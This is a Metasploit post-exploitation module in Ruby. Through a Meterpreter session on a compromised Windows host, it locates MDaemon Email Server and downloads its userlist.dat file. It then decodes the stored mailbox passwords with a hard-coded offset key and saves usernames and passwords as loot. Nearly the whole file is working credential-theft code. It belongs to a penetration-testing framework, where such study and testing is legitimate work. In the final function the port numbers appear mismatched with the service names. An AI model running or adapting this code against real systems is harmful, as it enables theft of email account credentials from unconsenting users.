modules/post/windows/gather/credentials/mdaemon_cred_collector.rb
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'base64'
class MetasploitModule < Msf::Post
include Msf::Post::Windows::Registry
Rank = ExcellentRanking
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Windows Gather MDaemonEmailServer Credential Cracking',
'Description' => 'Finds and cracks the stored passwords of MDaemon Email Server',
'References' => [
['BID', '4686']
],
'License' => MSF_LICENSE,
'Author' => ['Manuel Nader #AgoraSecurity'],
'Platform' => ['win'],
'Arch' => [ARCH_X86, ARCH_X64],
'SessionTypes' => ['meterpreter'],
'Compat' => {
'Meterpreter' => {
'Commands' => %w[
core_channel_close
core_channel_eof
core_channel_open
core_channel_read
stdapi_fs_ls
stdapi_fs_stat
stdapi_registry_query_value_direct
stdapi_sys_config_getenv
]
}
}
)
)
register_options(
[
# If software is installed on a rare directory
OptString.new('RPATH', [false, 'Path of the MDaemon installation', false])
]
)
end
def run
if session.type != 'meterpreter'
print_error('Only meterpreter sessions are supported by this post module')
return
end
progfiles_env = session.sys.config.getenvs('SYSTEMDRIVE', 'HOMEDRIVE', 'ProgramFiles', 'ProgramFiles(x86)', 'ProgramW6432')
locations = ['C:\MDaemon\App']
progfiles_env.each do |_k, v|
vprint_status("Searching MDaemon installation at #{v}")
if session.fs.dir.entries(v).include? 'MDaemon'
vprint_status("Found MDaemon installation at #{v}")
locations << v + '\\MDaemon\\'
end
end
keys = [
'HKLM\\SOFTWARE\\Alt-N Technologies\\MDaemon', # 64 bit. Has AppPath
]
locations << datastore['RPATH'] if datastore['RPATH'].nil?
keys.each do |key|
begin
root_key, base_key = session.sys.registry.splitkey(key)
value = session.sys.registry.query_value_direct(root_key, base_key, 'AppPath')
rescue Rex::Post::Meterpreter::RequestError => e
vprint_error(e.message)
next
end
locations << value.data + '\\'
end
locations.uniq!
locations = locations.compact
userlist = check_mdaemons(locations)
get_mdaemon_creds(userlist) if userlist
end
def crack_password(raw_password)
vprint_status("Cracking #{raw_password}")
offset = [84, 104, 101, 32, 115, 101, 116, 117, 112, 32, 112, 114, 111, 99, 101]
decode = Base64.decode64(raw_password).bytes
crack = decode
result = ''
(0..(crack.size - 1)).each do |i|
if (crack[i] - offset[i]) > 0
result << (crack[i] - offset[i])
else
result << ((crack[i] - offset[i]) + 128)
end
end
vprint_status("Password #{result}")
result
end
def check_mdaemons(locations)
tmp_filename = (0...12).map { rand(65..90).chr }.join
begin
locations.each do |location|
vprint_status("Checking for Userlist in MDaemons directory at: #{location}")
begin
session.fs.dir.foreach(location.to_s) do |fdir|
['userlist.dat'].each do |datfile|
next if fdir.casecmp(datfile) != 0
filepath = location + '\\' + datfile
print_good("Configuration file found: #{filepath}")
print_good("Found MDaemons on #{sysinfo['Computer']} via session ID: #{session.sid}")
vprint_status("Downloading UserList.dat file to tmp file: #{tmp_filename}")
session.fs.file.download_file(tmp_filename, filepath)
# userdat = session.fs.file.open(filepath).read.to_s.split(/\n/)
return tmp_filename
end
end
rescue Rex::Post::Meterpreter::RequestError => e
vprint_error(e.message)
end
end
rescue StandardError => e
print_error(e.to_s)
return
end
nil
end
def parse_userlist(data)
# creds = ["['domain','mailbox','full_name','mail_dir','password']"]
creds = []
pop3 = []
imap = []
users = 0
passwords = 0
file = File.open(data)
file.each do |line|
domain = line.slice(0..44).strip!
mailbox = line.slice(45..74).strip!
full_name = line.slice(75..104).strip!
mail_dir = line.slice(105..194).strip!
raw_password = line.slice(195..210)
password = crack_password(raw_password)
access = line.slice(217)
users += 1
passwords += 1
if access == 'Y' # IMAP & POP3
pop3 << [domain, mailbox, full_name, mail_dir, password]
imap << [domain, mailbox, full_name, mail_dir, password]
elsif access == 'P' # POP3
pop3 << [domain, mailbox, full_name, mail_dir, password]
elsif access == 'I' # IMAP
imap << [domain, mailbox, full_name, mail_dir, password]
end
# Saves all the passwords
creds << [domain, mailbox, full_name, mail_dir, password]
end
vprint_status('Collected the following credentials:')
vprint_status(" Usernames: #{users}")
vprint_status(" Passwords: #{passwords}")
vprint_status("Deleting tmp file: #{data}")
del_cmd = 'rm '
del_cmd << data
system(del_cmd)
[creds, imap, pop3]
end
def report_mdaemon_cred(creds, port: 0, service: nil)
# Build service information
service_data = {
# address: session.session_host, # Gives internal IP
address: session.tunnel_peer.partition(':')[0], # Gives public IP
port: port,
service_name: 'smtp',
protocol: 'tcp',
workspace_id: myworkspace_id
}
# Iterate through credentials
creds.each do |cred|
# Build credential information
credential_data = {
origin_type: :session,
session_id: session_db_id,
post_reference_name: refname,
private_type: :password,
private_data: cred[4],
username: cred[1],
module_fullname: fullname
}
credential_data.merge!(service_data)
credential_core = create_credential(credential_data)
# Assemble the options hash for creating the Metasploit::Credential::Login object
login_data = {
core: credential_core,
status: Metasploit::Model::Login::Status::UNTRIED,
workspace_id: myworkspace_id
}
login_data.merge!(service_data)
create_credential_login(login_data)
print_status(" Extracted: #{credential_data[:username]}:#{credential_data[:private_data]}")
end
# report the goods!
loot_path = store_loot(
'MDaemon.smtp_server.creds',
'text/csv',
session,
creds.to_csv,
"mdaemon_#{service}_server_credentials.csv",
"MDaemon #{service.upcase} Users Credentials"
)
print_status("#{service.upcase} credentials saved in: #{loot_path}")
end
def get_mdaemon_creds(userlist)
(smtp, imap, pop3) = parse_userlist(userlist)
report_mdaemon_cred(smtp, port: 25, service: 'smtp')
report_mdaemon_cred(imap, port: 110, service: 'pop3')
report_mdaemon_cred(pop3, port: 143, service: 'imap')
end
end